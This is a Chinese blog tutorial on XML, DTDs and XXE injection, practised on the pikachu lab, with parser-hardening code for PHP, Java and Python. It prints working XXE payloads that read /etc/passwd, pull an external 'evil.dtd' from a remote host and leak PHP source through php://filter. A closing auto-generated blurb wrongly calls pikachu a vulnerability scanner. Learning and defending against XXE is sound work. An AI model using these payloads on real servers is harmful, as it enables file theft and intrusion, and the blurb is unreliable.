XXE学习(含pikachu)

xml基础知识

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素

<?xml version="1.0" ?>//XML声明

<!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to      (#PCDATA)>
  <!ELEMENT from    (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body    (#PCDATA)>
]>
   //文档类型定义
<note>
<to>George</to>
<from>John</Ffrom>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>//文档元素

xml文档的构建模块
所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:
元素
属性
实体
PCDATA
CDATA

下面是每个构建模块的简要描述。
1,元素
元素是 XML 以及 HTML 文档的主要构建模块,元素可包含文本、其他元素或者是空的。
实例:

<body>body text in between</body>
<message>some message in between</message>

空的 HTML 元素的例子是 “hr”、“br” 以及 “img”。

2,属性
属性可提供有关元素的额外信息
实例:

<img src="computer.gif" />

3,实体
实体是用来定义普通文本的变量。实体引用是对实体的引用。

4,PCDATA
PCDATA 的意思是被解析的字符数据(parsed character data)。
PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。

5,CDATA
CDATA 的意思是字符数据(character data)。
CDATA 是不会被解析器解析的文本。

DTD(文档类型定义)
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。
DTD 可以在 XML 文档内声明,也可以外部引用。
1,内部声明:<!DOCTYPE 根元素 [元素声明]> ex: <!DOCTYOE test any>

<?xml version="1.0"?>
<!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to      (#PCDATA)>
  <!ELEMENT from    (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body    (#PCDATA)>
]>
<note>
  <to>George</to>
  <from>John</from>
  <heading>Reminder</heading>
  <body>Don't forget the meeting!</body>
</note>

2,外部声明(引用外部DTD):<!DOCTYPE 根元素 SYSTEM "文件名"> ex:<!DOCTYPE test SYSTEM 'http://www.test.com/evil.dtd'>

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note> 

而note.dtd的内容为:

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

DTD实体
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

实体又分为一般实体和参数实体
1,一般实体的声明语法:<!ENTITY 实体名 "实体内容“>
引用实体的方式:&实体名;
2,参数实体只能在DTD中使用,参数实体的声明格式: <!ENTITY % 实体名 "实体内容“>
引用实体的方式:%实体名;

1,内部实体声明:<!ENTITY 实体名称 "实体的值"> ex:<!ENTITY eviltest "eviltest">

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
]>
<test>&writer;&copyright;</test>

2,外部实体声明:<!ENTITY 实体名称 SYSTEM "URI">

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
]>
<author>&writer;&copyright;</author>

什么是XXE

xxe也就是xml外部实体注入。即:XML External Entity

XXE攻击


方式一:直接通过DTD外部实体声明
XML内容

<?xml version="1.0"?>
<!DOCTYPE a [
    <!ENTITY b SYSTEM "file:///etc/passwd">
]>
<c>&b;</c>

方式二:通过DTD文档引入外部DTD文档,再引入外部实体声明
xml内容:

<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://mark4z5.com/evil.dtd">
<c>&b;</c>

DTD文件内容:

<!ENTITY b SYSTEM "file:///etc/passwd">

方式三:通过DTD外部实体声明引入外部实体声明
好像有点拗口,其实意思就是先写一个外部实体声明,然后引用的是在攻击者服务器上面的外部实体声明
具体看例子,XML内容

<?xml version="1.0"?>
<!DOCTYPE a [
        <!ENTITY % d SYSTEM "http://mark4z5.com/evil.dtd">
        %d;
]>
<c>&b;</c>

dtd文件内容

<!ENTITY b SYSTEM "file:///etc/passwd">

XXE的危害

XXE危害1:读取任意文件
XXE危害2:执行系统命令
XXE危害3:探测内网端口
XXE危害4:攻击内网网站

检测XXE

手动:
1、数据以XML形式进行传输时,直接插入payload进行测试
2、数据包请求头中Context-Type的值为application/jason,更改为application/xml或者text/xml,然后插入payload测试
工具:
XXEinjector

防范措施

1、使用禁用外部实体的方法:
php: libxml_disable_entity_loader(true)
JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
      dbf.setExpandEntityReferences(false);

Python:

from lxml import etree
  xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2、过滤用户提交的XML数据关键字
如<!DOCTYPE、<!ENTITY、SYSTEM、PUBLIC等

pikachu练习XXE漏洞

在这里插入图片描述
构造payload

<?xml version = "1.0"?>
<!DOCTYPE note [
    <!ENTITY hacker "test">
]>
<name>&hacker;</name>

输入发现显示在了前端
payload中&hacker;是用来将hacker这个实体进行调用,hacker实体成功在前端回显。

在这里插入图片描述
如果我们提交下面这样的payload,就能看到服务器上的文件内容
这里用了php协议

<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]>
<x>&f;</x>

在这里插入图片描述

<?xml version="1.0"  encoding="UTF-8"?>
<!DOCTYPE name [
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<name>&xxe;</name>

至于这个为什么不行 应该是还有包没装好,所以无法执行外部实体

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
pikachu是一个开源的漏洞扫描工具,XXE(XML External Entity)漏洞是其中一个模块。 XXE漏洞是指攻击者通过构造恶意的XML实体来访问本地或远程文件系统,从而获取敏感信息或执行任意代码。这样的漏洞通常出现在使用XML解析器的应用程序中,当应用程序没有正确配置解析器时,攻击者可以利用XXE漏洞来进行攻击。 在pikachu中,XXE模块可以帮助用户扫描和发现应用程序中的XXE漏洞,并提供修复建议。使用pikachu进行XXE扫描的过程包括将pikachu文件夹放到web服务器根目录下,修改配置文件中的数据库连接配置,然后访问相应的URL进行安装和初始化。 总结来说,pikachu是一个漏洞扫描工具,其中包XXE漏洞模块,可以帮助用户发现和修复应用程序中的XXE漏洞。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [Pikachu系列——XXE](https://blog.csdn.net/Zlirving_/article/details/106274289)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *3* [pikachuxxe](https://blog.csdn.net/qq_43665434/article/details/113867722)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值